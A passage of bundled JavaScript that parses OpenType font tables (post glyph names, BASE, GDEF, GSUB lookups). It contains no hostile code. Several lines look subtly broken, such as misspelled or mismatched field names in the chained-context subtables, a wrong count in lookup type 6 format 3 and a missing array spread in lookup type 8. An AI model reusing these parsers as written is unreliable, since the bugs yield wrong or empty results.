		if ( this.version === 1 || this.version === 3 ) return p.verifyLength();
		this.numGlyphs = p.uint16;
		if ( this.version === 2 ) {
			this.glyphNameIndex = [ ...new Array( this.numGlyphs ) ].map(
				( _ ) => p.uint16
			);
			this.namesOffset = p.currentPosition;
			this.glyphNameOffsets = [ 1 ];
			for ( let i = 0; i < this.numGlyphs; i++ ) {
				let index = this.glyphNameIndex[ i ];
				if ( index < macStrings.length ) {
					this.glyphNameOffsets.push( this.glyphNameOffsets[ i ] );
					continue;
				}
				let bytelength = p.int8;
				p.skip( bytelength );
				this.glyphNameOffsets.push(
					this.glyphNameOffsets[ i ] + bytelength + 1
				);
			}
		}
		if ( this.version === 2.5 ) {
			this.offset = [ ...new Array( this.numGlyphs ) ].map(
				( _ ) => p.int8
			);
		}
	}
	getGlyphName( glyphid ) {
		if ( this.version !== 2 ) {
			console.warn(
				`post table version ${ this.version } does not support glyph name lookups`
			);
			return ``;
		}
		let index = this.glyphNameIndex[ glyphid ];
		if ( index < 258 ) return macStrings[ index ];
		let offset = this.glyphNameOffsets[ glyphid ];
		let next = this.glyphNameOffsets[ glyphid + 1 ];
		let len = next - offset - 1;
		if ( len === 0 ) return `.notdef.`;
		this.parser.currentPosition = this.namesOffset + offset;
		const data = this.parser.readBytes(
			len,
			this.namesOffset + offset,
			8,
			true
		);
		return data.map( ( b ) => String.fromCharCode( b ) ).join( `` );
	}
}
const macStrings = [
	`.notdef`,
	`.null`,
	`nonmarkingreturn`,
	`space`,
	`exclam`,
	`quotedbl`,
	`numbersign`,
	`dollar`,
	`percent`,
	`ampersand`,
	`quotesingle`,
	`parenleft`,
	`parenright`,
	`asterisk`,
	`plus`,
	`comma`,
	`hyphen`,
	`period`,
	`slash`,
	`zero`,
	`one`,
	`two`,
	`three`,
	`four`,
	`five`,
	`six`,
	`seven`,
	`eight`,
	`nine`,
	`colon`,
	`semicolon`,
	`less`,
	`equal`,
	`greater`,
	`question`,
	`at`,
	`A`,
	`B`,
	`C`,
	`D`,
	`E`,
	`F`,
	`G`,
	`H`,
	`I`,
	`J`,
	`K`,
	`L`,
	`M`,
	`N`,
	`O`,
	`P`,
	`Q`,
	`R`,
	`S`,
	`T`,
	`U`,
	`V`,
	`W`,
	`X`,
	`Y`,
	`Z`,
	`bracketleft`,
	`backslash`,
	`bracketright`,
	`asciicircum`,
	`underscore`,
	`grave`,
	`a`,
	`b`,
	`c`,
	`d`,
	`e`,
	`f`,
	`g`,
	`h`,
	`i`,
	`j`,
	`k`,
	`l`,
	`m`,
	`n`,
	`o`,
	`p`,
	`q`,
	`r`,
	`s`,
	`t`,
	`u`,
	`v`,
	`w`,
	`x`,
	`y`,
	`z`,
	`braceleft`,
	`bar`,
	`braceright`,
	`asciitilde`,
	`Adieresis`,
	`Aring`,
	`Ccedilla`,
	`Eacute`,
	`Ntilde`,
	`Odieresis`,
	`Udieresis`,
	`aacute`,
	`agrave`,
	`acircumflex`,
	`adieresis`,
	`atilde`,
	`aring`,
	`ccedilla`,
	`eacute`,
	`egrave`,
	`ecircumflex`,
	`edieresis`,
	`iacute`,
	`igrave`,
	`icircumflex`,
	`idieresis`,
	`ntilde`,
	`oacute`,
	`ograve`,
	`ocircumflex`,
	`odieresis`,
	`otilde`,
	`uacute`,
	`ugrave`,
	`ucircumflex`,
	`udieresis`,
	`dagger`,
	`degree`,
	`cent`,
	`sterling`,
	`section`,
	`bullet`,
	`paragraph`,
	`germandbls`,
	`registered`,
	`copyright`,
	`trademark`,
	`acute`,
	`dieresis`,
	`notequal`,
	`AE`,
	`Oslash`,
	`infinity`,
	`plusminus`,
	`lessequal`,
	`greaterequal`,
	`yen`,
	`mu`,
	`partialdiff`,
	`summation`,
	`product`,
	`pi`,
	`integral`,
	`ordfeminine`,
	`ordmasculine`,
	`Omega`,
	`ae`,
	`oslash`,
	`questiondown`,
	`exclamdown`,
	`logicalnot`,
	`radical`,
	`florin`,
	`approxequal`,
	`Delta`,
	`guillemotleft`,
	`guillemotright`,
	`ellipsis`,
	`nonbreakingspace`,
	`Agrave`,
	`Atilde`,
	`Otilde`,
	`OE`,
	`oe`,
	`endash`,
	`emdash`,
	`quotedblleft`,
	`quotedblright`,
	`quoteleft`,
	`quoteright`,
	`divide`,
	`lozenge`,
	`ydieresis`,
	`Ydieresis`,
	`fraction`,
	`currency`,
	`guilsinglleft`,
	`guilsinglright`,
	`fi`,
	`fl`,
	`daggerdbl`,
	`periodcentered`,
	`quotesinglbase`,
	`quotedblbase`,
	`perthousand`,
	`Acircumflex`,
	`Ecircumflex`,
	`Aacute`,
	`Edieresis`,
	`Egrave`,
	`Iacute`,
	`Icircumflex`,
	`Idieresis`,
	`Igrave`,
	`Oacute`,
	`Ocircumflex`,
	`apple`,
	`Ograve`,
	`Uacute`,
	`Ucircumflex`,
	`Ugrave`,
	`dotlessi`,
	`circumflex`,
	`tilde`,
	`macron`,
	`breve`,
	`dotaccent`,
	`ring`,
	`cedilla`,
	`hungarumlaut`,
	`ogonek`,
	`caron`,
	`Lslash`,
	`lslash`,
	`Scaron`,
	`scaron`,
	`Zcaron`,
	`zcaron`,
	`brokenbar`,
	`Eth`,
	`eth`,
	`Yacute`,
	`yacute`,
	`Thorn`,
	`thorn`,
	`minus`,
	`multiply`,
	`onesuperior`,
	`twosuperior`,
	`threesuperior`,
	`onehalf`,
	`onequarter`,
	`threequarters`,
	`franc`,
	`Gbreve`,
	`gbreve`,
	`Idotaccent`,
	`Scedilla`,
	`scedilla`,
	`Cacute`,
	`cacute`,
	`Ccaron`,
	`ccaron`,
	`dcroat`,
];
var post$1 = Object.freeze( { __proto__: null, post: post } );
class BASE extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.majorVersion = p.uint16;
		this.minorVersion = p.uint16;
		this.horizAxisOffset = p.Offset16;
		this.vertAxisOffset = p.Offset16;
		lazy$1(
			this,
			`horizAxis`,
			() =>
				new AxisTable(
					{ offset: dict.offset + this.horizAxisOffset },
					dataview
				)
		);
		lazy$1(
			this,
			`vertAxis`,
			() =>
				new AxisTable(
					{ offset: dict.offset + this.vertAxisOffset },
					dataview
				)
		);
		if ( this.majorVersion === 1 && this.minorVersion === 1 ) {
			this.itemVarStoreOffset = p.Offset32;
			lazy$1(
				this,
				`itemVarStore`,
				() =>
					new AxisTable(
						{ offset: dict.offset + this.itemVarStoreOffset },
						dataview
					)
			);
		}
	}
}
class AxisTable extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview, `AxisTable` );
		this.baseTagListOffset = p.Offset16;
		this.baseScriptListOffset = p.Offset16;
		lazy$1(
			this,
			`baseTagList`,
			() =>
				new BaseTagListTable(
					{ offset: dict.offset + this.baseTagListOffset },
					dataview
				)
		);
		lazy$1(
			this,
			`baseScriptList`,
			() =>
				new BaseScriptListTable(
					{ offset: dict.offset + this.baseScriptListOffset },
					dataview
				)
		);
	}
}
class BaseTagListTable extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview, `BaseTagListTable` );
		this.baseTagCount = p.uint16;
		this.baselineTags = [ ...new Array( this.baseTagCount ) ].map(
			( _ ) => p.tag
		);
	}
}
class BaseScriptListTable extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview, `BaseScriptListTable` );
		this.baseScriptCount = p.uint16;
		const recordStart = p.currentPosition;
		lazy$1( this, `baseScriptRecords`, () => {
			p.currentPosition = recordStart;
			return [ ...new Array( this.baseScriptCount ) ].map(
				( _ ) => new BaseScriptRecord( this.start, p )
			);
		} );
	}
}
class BaseScriptRecord {
	constructor( baseScriptListTableStart, p ) {
		this.baseScriptTag = p.tag;
		this.baseScriptOffset = p.Offset16;
		lazy$1( this, `baseScriptTable`, () => {
			p.currentPosition =
				baseScriptListTableStart + this.baseScriptOffset;
			return new BaseScriptTable( p );
		} );
	}
}
class BaseScriptTable {
	constructor( p ) {
		this.start = p.currentPosition;
		this.baseValuesOffset = p.Offset16;
		this.defaultMinMaxOffset = p.Offset16;
		this.baseLangSysCount = p.uint16;
		this.baseLangSysRecords = [ ...new Array( this.baseLangSysCount ) ].map(
			( _ ) => new BaseLangSysRecord( this.start, p )
		);
		lazy$1( this, `baseValues`, () => {
			p.currentPosition = this.start + this.baseValuesOffset;
			return new BaseValuesTable( p );
		} );
		lazy$1( this, `defaultMinMax`, () => {
			p.currentPosition = this.start + this.defaultMinMaxOffset;
			return new MinMaxTable( p );
		} );
	}
}
class BaseLangSysRecord {
	constructor( baseScriptTableStart, p ) {
		this.baseLangSysTag = p.tag;
		this.minMaxOffset = p.Offset16;
		lazy$1( this, `minMax`, () => {
			p.currentPosition = baseScriptTableStart + this.minMaxOffset;
			return new MinMaxTable( p );
		} );
	}
}
class BaseValuesTable {
	constructor( p ) {
		this.parser = p;
		this.start = p.currentPosition;
		this.defaultBaselineIndex = p.uint16;
		this.baseCoordCount = p.uint16;
		this.baseCoords = [ ...new Array( this.baseCoordCount ) ].map(
			( _ ) => p.Offset16
		);
	}
	getTable( id ) {
		this.parser.currentPosition = this.start + this.baseCoords[ id ];
		return new BaseCoordTable( this.parser );
	}
}
class MinMaxTable {
	constructor( p ) {
		this.minCoord = p.Offset16;
		this.maxCoord = p.Offset16;
		this.featMinMaxCount = p.uint16;
		const recordStart = p.currentPosition;
		lazy$1( this, `featMinMaxRecords`, () => {
			p.currentPosition = recordStart;
			return [ ...new Array( this.featMinMaxCount ) ].map(
				( _ ) => new FeatMinMaxRecord( p )
			);
		} );
	}
}
class FeatMinMaxRecord {
	constructor( p ) {
		this.featureTableTag = p.tag;
		this.minCoord = p.Offset16;
		this.maxCoord = p.Offset16;
	}
}
class BaseCoordTable {
	constructor( p ) {
		this.baseCoordFormat = p.uint16;
		this.coordinate = p.int16;
		if ( this.baseCoordFormat === 2 ) {
			this.referenceGlyph = p.uint16;
			this.baseCoordPoint = p.uint16;
		}
		if ( this.baseCoordFormat === 3 ) {
			this.deviceTable = p.Offset16;
		}
	}
}
var BASE$1 = Object.freeze( { __proto__: null, BASE: BASE } );
class ClassDefinition {
	constructor( p ) {
		this.classFormat = p.uint16;
		if ( this.classFormat === 1 ) {
			this.startGlyphID = p.uint16;
			this.glyphCount = p.uint16;
			this.classValueArray = [ ...new Array( this.glyphCount ) ].map(
				( _ ) => p.uint16
			);
		}
		if ( this.classFormat === 2 ) {
			this.classRangeCount = p.uint16;
			this.classRangeRecords = [
				...new Array( this.classRangeCount ),
			].map( ( _ ) => new ClassRangeRecord( p ) );
		}
	}
}
class ClassRangeRecord {
	constructor( p ) {
		this.startGlyphID = p.uint16;
		this.endGlyphID = p.uint16;
		this.class = p.uint16;
	}
}
class CoverageTable extends ParsedData {
	constructor( p ) {
		super( p );
		this.coverageFormat = p.uint16;
		if ( this.coverageFormat === 1 ) {
			this.glyphCount = p.uint16;
			this.glyphArray = [ ...new Array( this.glyphCount ) ].map(
				( _ ) => p.uint16
			);
		}
		if ( this.coverageFormat === 2 ) {
			this.rangeCount = p.uint16;
			this.rangeRecords = [ ...new Array( this.rangeCount ) ].map(
				( _ ) => new CoverageRangeRecord( p )
			);
		}
	}
}
class CoverageRangeRecord {
	constructor( p ) {
		this.startGlyphID = p.uint16;
		this.endGlyphID = p.uint16;
		this.startCoverageIndex = p.uint16;
	}
}
class ItemVariationStoreTable {
	constructor( table, p ) {
		this.table = table;
		this.parser = p;
		this.start = p.currentPosition;
		this.format = p.uint16;
		this.variationRegionListOffset = p.Offset32;
		this.itemVariationDataCount = p.uint16;
		this.itemVariationDataOffsets = [
			...new Array( this.itemVariationDataCount ),
		].map( ( _ ) => p.Offset32 );
	}
}
class GDEF extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.majorVersion = p.uint16;
		this.minorVersion = p.uint16;
		this.glyphClassDefOffset = p.Offset16;
		lazy$1( this, `glyphClassDefs`, () => {
			if ( this.glyphClassDefOffset === 0 ) return undefined;
			p.currentPosition = this.tableStart + this.glyphClassDefOffset;
			return new ClassDefinition( p );
		} );
		this.attachListOffset = p.Offset16;
		lazy$1( this, `attachList`, () => {
			if ( this.attachListOffset === 0 ) return undefined;
			p.currentPosition = this.tableStart + this.attachListOffset;
			return new AttachList( p );
		} );
		this.ligCaretListOffset = p.Offset16;
		lazy$1( this, `ligCaretList`, () => {
			if ( this.ligCaretListOffset === 0 ) return undefined;
			p.currentPosition = this.tableStart + this.ligCaretListOffset;
			return new LigCaretList( p );
		} );
		this.markAttachClassDefOffset = p.Offset16;
		lazy$1( this, `markAttachClassDef`, () => {
			if ( this.markAttachClassDefOffset === 0 ) return undefined;
			p.currentPosition = this.tableStart + this.markAttachClassDefOffset;
			return new ClassDefinition( p );
		} );
		if ( this.minorVersion >= 2 ) {
			this.markGlyphSetsDefOffset = p.Offset16;
			lazy$1( this, `markGlyphSetsDef`, () => {
				if ( this.markGlyphSetsDefOffset === 0 ) return undefined;
				p.currentPosition =
					this.tableStart + this.markGlyphSetsDefOffset;
				return new MarkGlyphSetsTable( p );
			} );
		}
		if ( this.minorVersion === 3 ) {
			this.itemVarStoreOffset = p.Offset32;
			lazy$1( this, `itemVarStore`, () => {
				if ( this.itemVarStoreOffset === 0 ) return undefined;
				p.currentPosition = this.tableStart + this.itemVarStoreOffset;
				return new ItemVariationStoreTable( p );
			} );
		}
	}
}
class AttachList extends ParsedData {
	constructor( p ) {
		super( p );
		this.coverageOffset = p.Offset16;
		this.glyphCount = p.uint16;
		this.attachPointOffsets = [ ...new Array( this.glyphCount ) ].map(
			( _ ) => p.Offset16
		);
	}
	getPoint( pointID ) {
		this.parser.currentPosition =
			this.start + this.attachPointOffsets[ pointID ];
		return new AttachPoint( this.parser );
	}
}
class AttachPoint {
	constructor( p ) {
		this.pointCount = p.uint16;
		this.pointIndices = [ ...new Array( this.pointCount ) ].map(
			( _ ) => p.uint16
		);
	}
}
class LigCaretList extends ParsedData {
	constructor( p ) {
		super( p );
		this.coverageOffset = p.Offset16;
		lazy$1( this, `coverage`, () => {
			p.currentPosition = this.start + this.coverageOffset;
			return new CoverageTable( p );
		} );
		this.ligGlyphCount = p.uint16;
		this.ligGlyphOffsets = [ ...new Array( this.ligGlyphCount ) ].map(
			( _ ) => p.Offset16
		);
	}
	getLigGlyph( ligGlyphID ) {
		this.parser.currentPosition =
			this.start + this.ligGlyphOffsets[ ligGlyphID ];
		return new LigGlyph( this.parser );
	}
}
class LigGlyph extends ParsedData {
	constructor( p ) {
		super( p );
		this.caretCount = p.uint16;
		this.caretValueOffsets = [ ...new Array( this.caretCount ) ].map(
			( _ ) => p.Offset16
		);
	}
	getCaretValue( caretID ) {
		this.parser.currentPosition =
			this.start + this.caretValueOffsets[ caretID ];
		return new CaretValue( this.parser );
	}
}
class CaretValue {
	constructor( p ) {
		this.caretValueFormat = p.uint16;
		if ( this.caretValueFormat === 1 ) {
			this.coordinate = p.int16;
		}
		if ( this.caretValueFormat === 2 ) {
			this.caretValuePointIndex = p.uint16;
		}
		if ( this.caretValueFormat === 3 ) {
			this.coordinate = p.int16;
			this.deviceOffset = p.Offset16;
		}
	}
}
class MarkGlyphSetsTable extends ParsedData {
	constructor( p ) {
		super( p );
		this.markGlyphSetTableFormat = p.uint16;
		this.markGlyphSetCount = p.uint16;
		this.coverageOffsets = [ ...new Array( this.markGlyphSetCount ) ].map(
			( _ ) => p.Offset32
		);
	}
	getMarkGlyphSet( markGlyphSetID ) {
		this.parser.currentPosition =
			this.start + this.coverageOffsets[ markGlyphSetID ];
		return new CoverageTable( this.parser );
	}
}
var GDEF$1 = Object.freeze( { __proto__: null, GDEF: GDEF } );
class ScriptList extends ParsedData {
	static EMPTY = { scriptCount: 0, scriptRecords: [] };
	constructor( p ) {
		super( p );
		this.scriptCount = p.uint16;
		this.scriptRecords = [ ...new Array( this.scriptCount ) ].map(
			( _ ) => new ScriptRecord( p )
		);
	}
}
class ScriptRecord {
	constructor( p ) {
		this.scriptTag = p.tag;
		this.scriptOffset = p.Offset16;
	}
}
class ScriptTable extends ParsedData {
	constructor( p ) {
		super( p );
		this.defaultLangSys = p.Offset16;
		this.langSysCount = p.uint16;
		this.langSysRecords = [ ...new Array( this.langSysCount ) ].map(
			( _ ) => new LangSysRecord( p )
		);
	}
}
class LangSysRecord {
	constructor( p ) {
		this.langSysTag = p.tag;
		this.langSysOffset = p.Offset16;
	}
}
class LangSysTable {
	constructor( p ) {
		this.lookupOrder = p.Offset16;
		this.requiredFeatureIndex = p.uint16;
		this.featureIndexCount = p.uint16;
		this.featureIndices = [ ...new Array( this.featureIndexCount ) ].map(
			( _ ) => p.uint16
		);
	}
}
class FeatureList extends ParsedData {
	static EMPTY = { featureCount: 0, featureRecords: [] };
	constructor( p ) {
		super( p );
		this.featureCount = p.uint16;
		this.featureRecords = [ ...new Array( this.featureCount ) ].map(
			( _ ) => new FeatureRecord( p )
		);
	}
}
class FeatureRecord {
	constructor( p ) {
		this.featureTag = p.tag;
		this.featureOffset = p.Offset16;
	}
}
class FeatureTable extends ParsedData {
	constructor( p ) {
		super( p );
		this.featureParams = p.Offset16;
		this.lookupIndexCount = p.uint16;
		this.lookupListIndices = [ ...new Array( this.lookupIndexCount ) ].map(
			( _ ) => p.uint16
		);
	}
	getFeatureParams() {
		if ( this.featureParams > 0 ) {
			const p = this.parser;
			p.currentPosition = this.start + this.featureParams;
			const tag = this.featureTag;
			if ( tag === `size` ) return new Size( p );
			if ( tag.startsWith( `cc` ) ) return new CharacterVariant( p );
			if ( tag.startsWith( `ss` ) ) return new StylisticSet( p );
		}
	}
}
class CharacterVariant {
	constructor( p ) {
		this.format = p.uint16;
		this.featUiLabelNameId = p.uint16;
		this.featUiTooltipTextNameId = p.uint16;
		this.sampleTextNameId = p.uint16;
		this.numNamedParameters = p.uint16;
		this.firstParamUiLabelNameId = p.uint16;
		this.charCount = p.uint16;
		this.character = [ ...new Array( this.charCount ) ].map(
			( _ ) => p.uint24
		);
	}
}
class Size {
	constructor( p ) {
		this.designSize = p.uint16;
		this.subfamilyIdentifier = p.uint16;
		this.subfamilyNameID = p.uint16;
		this.smallEnd = p.uint16;
		this.largeEnd = p.uint16;
	}
}
class StylisticSet {
	constructor( p ) {
		this.version = p.uint16;
		this.UINameID = p.uint16;
	}
}
function undoCoverageOffsetParsing( instance ) {
	instance.parser.currentPosition -= 2;
	delete instance.coverageOffset;
	delete instance.getCoverageTable;
}
class LookupType$1 extends ParsedData {
	constructor( p ) {
		super( p );
		this.substFormat = p.uint16;
		this.coverageOffset = p.Offset16;
	}
	getCoverageTable() {
		let p = this.parser;
		p.currentPosition = this.start + this.coverageOffset;
		return new CoverageTable( p );
	}
}
class SubstLookupRecord {
	constructor( p ) {
		this.glyphSequenceIndex = p.uint16;
		this.lookupListIndex = p.uint16;
	}
}
class LookupType1$1 extends LookupType$1 {
	constructor( p ) {
		super( p );
		this.deltaGlyphID = p.int16;
	}
}
class LookupType2$1 extends LookupType$1 {
	constructor( p ) {
		super( p );
		this.sequenceCount = p.uint16;
		this.sequenceOffsets = [ ...new Array( this.sequenceCount ) ].map(
			( _ ) => p.Offset16
		);
	}
	getSequence( index ) {
		let p = this.parser;
		p.currentPosition = this.start + this.sequenceOffsets[ index ];
		return new SequenceTable( p );
	}
}
class SequenceTable {
	constructor( p ) {
		this.glyphCount = p.uint16;
		this.substituteGlyphIDs = [ ...new Array( this.glyphCount ) ].map(
			( _ ) => p.uint16
		);
	}
}
class LookupType3$1 extends LookupType$1 {
	constructor( p ) {
		super( p );
		this.alternateSetCount = p.uint16;
		this.alternateSetOffsets = [
			...new Array( this.alternateSetCount ),
		].map( ( _ ) => p.Offset16 );
	}
	getAlternateSet( index ) {
		let p = this.parser;
		p.currentPosition = this.start + this.alternateSetOffsets[ index ];
		return new AlternateSetTable( p );
	}
}
class AlternateSetTable {
	constructor( p ) {
		this.glyphCount = p.uint16;
		this.alternateGlyphIDs = [ ...new Array( this.glyphCount ) ].map(
			( _ ) => p.uint16
		);
	}
}
class LookupType4$1 extends LookupType$1 {
	constructor( p ) {
		super( p );
		this.ligatureSetCount = p.uint16;
		this.ligatureSetOffsets = [ ...new Array( this.ligatureSetCount ) ].map(
			( _ ) => p.Offset16
		);
	}
	getLigatureSet( index ) {
		let p = this.parser;
		p.currentPosition = this.start + this.ligatureSetOffsets[ index ];
		return new LigatureSetTable( p );
	}
}
class LigatureSetTable extends ParsedData {
	constructor( p ) {
		super( p );
		this.ligatureCount = p.uint16;
		this.ligatureOffsets = [ ...new Array( this.ligatureCount ) ].map(
			( _ ) => p.Offset16
		);
	}
	getLigature( index ) {
		let p = this.parser;
		p.currentPosition = this.start + this.ligatureOffsets[ index ];
		return new LigatureTable( p );
	}
}
class LigatureTable {
	constructor( p ) {
		this.ligatureGlyph = p.uint16;
		this.componentCount = p.uint16;
		this.componentGlyphIDs = [
			...new Array( this.componentCount - 1 ),
		].map( ( _ ) => p.uint16 );
	}
}
class LookupType5$1 extends LookupType$1 {
	constructor( p ) {
		super( p );
		if ( this.substFormat === 1 ) {
			this.subRuleSetCount = p.uint16;
			this.subRuleSetOffsets = [
				...new Array( this.subRuleSetCount ),
			].map( ( _ ) => p.Offset16 );
		}
		if ( this.substFormat === 2 ) {
			this.classDefOffset = p.Offset16;
			this.subClassSetCount = p.uint16;
			this.subClassSetOffsets = [
				...new Array( this.subClassSetCount ),
			].map( ( _ ) => p.Offset16 );
		}
		if ( this.substFormat === 3 ) {
			undoCoverageOffsetParsing( this );
			this.glyphCount = p.uint16;
			this.substitutionCount = p.uint16;
			this.coverageOffsets = [ ...new Array( this.glyphCount ) ].map(
				( _ ) => p.Offset16
			);
			this.substLookupRecords = [
				...new Array( this.substitutionCount ),
			].map( ( _ ) => new SubstLookupRecord( p ) );
		}
	}
	getSubRuleSet( index ) {
		if ( this.substFormat !== 1 )
			throw new Error(
				`lookup type 5.${ this.substFormat } has no subrule sets.`
			);
		let p = this.parser;
		p.currentPosition = this.start + this.subRuleSetOffsets[ index ];
		return new SubRuleSetTable( p );
	}
	getSubClassSet( index ) {
		if ( this.substFormat !== 2 )
			throw new Error(
				`lookup type 5.${ this.substFormat } has no subclass sets.`
			);
		let p = this.parser;
		p.currentPosition = this.start + this.subClassSetOffsets[ index ];
		return new SubClassSetTable( p );
	}
	getCoverageTable( index ) {
		if ( this.substFormat !== 3 && ! index )
			return super.getCoverageTable();
		if ( ! index )
			throw new Error(
				`lookup type 5.${ this.substFormat } requires an coverage table index.`
			);
		let p = this.parser;
		p.currentPosition = this.start + this.coverageOffsets[ index ];
		return new CoverageTable( p );
	}
}
class SubRuleSetTable extends ParsedData {
	constructor( p ) {
		super( p );
		this.subRuleCount = p.uint16;
		this.subRuleOffsets = [ ...new Array( this.subRuleCount ) ].map(
			( _ ) => p.Offset16
		);
	}
	getSubRule( index ) {
		let p = this.parser;
		p.currentPosition = this.start + this.subRuleOffsets[ index ];
		return new SubRuleTable( p );
	}
}
class SubRuleTable {
	constructor( p ) {
		this.glyphCount = p.uint16;
		this.substitutionCount = p.uint16;
		this.inputSequence = [ ...new Array( this.glyphCount - 1 ) ].map(
			( _ ) => p.uint16
		);
		this.substLookupRecords = [
			...new Array( this.substitutionCount ),
		].map( ( _ ) => new SubstLookupRecord( p ) );
	}
}
class SubClassSetTable extends ParsedData {
	constructor( p ) {
		super( p );
		this.subClassRuleCount = p.uint16;
		this.subClassRuleOffsets = [
			...new Array( this.subClassRuleCount ),
		].map( ( _ ) => p.Offset16 );
	}
	getSubClass( index ) {
		let p = this.parser;
		p.currentPosition = this.start + this.subClassRuleOffsets[ index ];
		return new SubClassRuleTable( p );
	}
}
class SubClassRuleTable extends SubRuleTable {
	constructor( p ) {
		super( p );
	}
}
class LookupType6$1 extends LookupType$1 {
	constructor( p ) {
		super( p );
		if ( this.substFormat === 1 ) {
			this.chainSubRuleSetCount = p.uint16;
			this.chainSubRuleSetOffsets = [
				...new Array( this.chainSubRuleSetCount ),
			].map( ( _ ) => p.Offset16 );
		}
		if ( this.substFormat === 2 ) {
			this.backtrackClassDefOffset = p.Offset16;
			this.inputClassDefOffset = p.Offset16;
			this.lookaheadClassDefOffset = p.Offset16;
			this.chainSubClassSetCount = p.uint16;
			this.chainSubClassSetOffsets = [
				...new Array( this.chainSubClassSetCount ),
			].map( ( _ ) => p.Offset16 );
		}
		if ( this.substFormat === 3 ) {
			undoCoverageOffsetParsing( this );
			this.backtrackGlyphCount = p.uint16;
			this.backtrackCoverageOffsets = [
				...new Array( this.backtrackGlyphCount ),
			].map( ( _ ) => p.Offset16 );
			this.inputGlyphCount = p.uint16;
			this.inputCoverageOffsets = [
				...new Array( this.inputGlyphCount ),
			].map( ( _ ) => p.Offset16 );
			this.lookaheadGlyphCount = p.uint16;
			this.lookaheadCoverageOffsets = [
				...new Array( this.lookaheadGlyphCount ),
			].map( ( _ ) => p.Offset16 );
			this.seqLookupCount = p.uint16;
			this.seqLookupRecords = [
				...new Array( this.substitutionCount ),
			].map( ( _ ) => new SequenceLookupRecord( p ) );
		}
	}
	getChainSubRuleSet( index ) {
		if ( this.substFormat !== 1 )
			throw new Error(
				`lookup type 6.${ this.substFormat } has no chainsubrule sets.`
			);
		let p = this.parser;
		p.currentPosition = this.start + this.chainSubRuleSetOffsets[ index ];
		return new ChainSubRuleSetTable( p );
	}
	getChainSubClassSet( index ) {
		if ( this.substFormat !== 2 )
			throw new Error(
				`lookup type 6.${ this.substFormat } has no chainsubclass sets.`
			);
		let p = this.parser;
		p.currentPosition = this.start + this.chainSubClassSetOffsets[ index ];
		return new ChainSubClassSetTable( p );
	}
	getCoverageFromOffset( offset ) {
		if ( this.substFormat !== 3 )
			throw new Error(
				`lookup type 6.${ this.substFormat } does not use contextual coverage offsets.`
			);
		let p = this.parser;
		p.currentPosition = this.start + offset;
		return new CoverageTable( p );
	}
}
class ChainSubRuleSetTable extends ParsedData {
	constructor( p ) {
		super( p );
		this.chainSubRuleCount = p.uint16;
		this.chainSubRuleOffsets = [
			...new Array( this.chainSubRuleCount ),
		].map( ( _ ) => p.Offset16 );
	}
	getSubRule( index ) {
		let p = this.parser;
		p.currentPosition = this.start + this.chainSubRuleOffsets[ index ];
		return new ChainSubRuleTable( p );
	}
}
class ChainSubRuleTable {
	constructor( p ) {
		this.backtrackGlyphCount = p.uint16;
		this.backtrackSequence = [
			...new Array( this.backtrackGlyphCount ),
		].map( ( _ ) => p.uint16 );
		this.inputGlyphCount = p.uint16;
		this.inputSequence = [ ...new Array( this.inputGlyphCount - 1 ) ].map(
			( _ ) => p.uint16
		);
		this.lookaheadGlyphCount = p.uint16;
		this.lookAheadSequence = [
			...new Array( this.lookAheadGlyphCount ),
		].map( ( _ ) => p.uint16 );
		this.substitutionCount = p.uint16;
		this.substLookupRecords = [ ...new Array( this.SubstCount ) ].map(
			( _ ) => new SubstLookupRecord( p )
		);
	}
}
class ChainSubClassSetTable extends ParsedData {
	constructor( p ) {
		super( p );
		this.chainSubClassRuleCount = p.uint16;
		this.chainSubClassRuleOffsets = [
			...new Array( this.chainSubClassRuleCount ),
		].map( ( _ ) => p.Offset16 );
	}
	getSubClass( index ) {
		let p = this.parser;
		p.currentPosition = this.start + this.chainSubRuleOffsets[ index ];
		return new ChainSubClassRuleTable( p );
	}
}
class ChainSubClassRuleTable {
	constructor( p ) {
		this.backtrackGlyphCount = p.uint16;
		this.backtrackSequence = [
			...new Array( this.backtrackGlyphCount ),
		].map( ( _ ) => p.uint16 );
		this.inputGlyphCount = p.uint16;
		this.inputSequence = [ ...new Array( this.inputGlyphCount - 1 ) ].map(
			( _ ) => p.uint16
		);
		this.lookaheadGlyphCount = p.uint16;
		this.lookAheadSequence = [
			...new Array( this.lookAheadGlyphCount ),
		].map( ( _ ) => p.uint16 );
		this.substitutionCount = p.uint16;
		this.substLookupRecords = [
			...new Array( this.substitutionCount ),
		].map( ( _ ) => new SequenceLookupRecord( p ) );
	}
}
class SequenceLookupRecord extends ParsedData {
	constructor( p ) {
		super( p );
		this.sequenceIndex = p.uint16;
		this.lookupListIndex = p.uint16;
	}
}
class LookupType7$1 extends ParsedData {
	constructor( p ) {
		super( p );
		this.substFormat = p.uint16;
		this.extensionLookupType = p.uint16;
		this.extensionOffset = p.Offset32;
	}
}
class LookupType8$1 extends LookupType$1 {
	constructor( p ) {
		super( p );
		this.backtrackGlyphCount = p.uint16;
		this.backtrackCoverageOffsets = [
			...new Array( this.backtrackGlyphCount ),
		].map( ( _ ) => p.Offset16 );
		this.lookaheadGlyphCount = p.uint16;
		this.lookaheadCoverageOffsets = [
			new Array( this.lookaheadGlyphCount ),
		].map( ( _ ) => p.Offset16 );
		this.glyphCount = p.uint16;
		this.substituteGlyphIDs = [ ...new Array( this.glyphCount ) ].map(
			( _ ) => p.uint16
		);
	}
}
var GSUBtables = {
	buildSubtable: function ( type, p ) {
		const subtable = new [
			undefined,
			LookupType1$1,
			LookupType2$1,
			LookupType3$1,
			LookupType4$1,
			LookupType5$1,
			LookupType6$1,
			LookupType7$1,
			LookupType8$1,
		][ type ]( p );
		subtable.type = type;
		return subtable;
	},
};
class LookupType extends ParsedData {
	constructor( p ) {
		super( p );
	}
}
class LookupType1 extends LookupType {
	constructor( p ) {
		super( p );
		console.log( `lookup type 1` );
	}
}
class LookupType2 extends LookupType {
	constructor( p ) {
		super( p );
		console.log( `lookup type 2` );
	}
}
class LookupType3 extends LookupType {
	constructor( p ) {
		super( p );
		console.log( `lookup type 3` );
	}
}
class LookupType4 extends LookupType {
	constructor( p ) {
		super( p );
		console.log( `lookup type 4` );
	}
}
class LookupType5 extends LookupType {
	constructor( p ) {
		super( p );
		console.log( `lookup type 5` );
	}
}
class LookupType6 extends LookupType {
